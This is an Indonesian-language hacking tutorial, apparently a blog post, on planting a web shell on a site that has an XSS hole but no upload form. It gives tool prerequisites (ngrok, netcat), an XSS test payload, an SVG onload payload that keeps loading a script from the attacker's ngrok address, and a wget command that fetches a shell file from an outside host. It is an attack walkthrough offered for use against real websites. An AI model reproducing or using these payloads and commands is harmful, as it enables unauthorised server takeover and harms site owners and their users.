Alternatif Gagal Upload Shell Dengan XSS

Assalamualaikum,
Disini kami akan share cara agar bisa upload shell tanpa form upload pada webnya menggunakan vuln XSS , jadi jangan khawatir ya kalau memang gagal upload shell (ingat hanya yang vuln XSS)

gimana caranya ? yok simak

Bahan yang diperlukan

nah ini penting untuk diketahui yang diperlukan untuk exploit nya yaitu 
  1. CMD atau bisa juga pakai Termux
  2. ngrok yang sudah terinstall
  3. netcat yang sudah terinstall

Exploit XSS

Nahh sebelum melakukan attack ini pastikan kalian memiliki website yang vuln XSS seperti ini


disitu pakai payload 
<font onclick="prompt(1)">EvilTwinWasHere</font>
buat test doang hehehe
lanjut gan start ngrok dan netcat kalian


Setelah dah run kembali ke website tadi dan masukin payload ini sesuai TCP ngrok kalian ya 
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//angka.tcp.ngrok.io:PORT"},999)>
kalau sudah coba save dan lihat inspect element apakah GET tcp ngrok tadi , sambil mantau netcat kalian kalau berhasil hasil nya seperti ini 


nahh kalau kalian ingin upload shell tinggal pakai command seperti berikut

wget https://eviltwin-dev.github.io/shell.txt shell.php
kalau ingin tau tempat shell nya tinggal pakai command
pwd
dan hasilnya seperti ini gan kalau berhasil


Akhir Kata

sebenarnya ini adalah tutorial DOM XSS to reverse shell / backconnect hehehe kita ambil simple nya saja dan nggk semua website bisa gini ya gan,terkadang waf,security pada server,Disable function layaknya shell_exec bisa menghalangi XSS attack kita untuk reverse shell seperti ini.

Oke sekian dan Mohon maaf bila ada kesalahan kata dan sebagainya, Mohon dimaklumi kita manusia biasa.
Sampai jumpa di artikel selanjutnya, Semoga bermanfaat!

Wassalamualaikum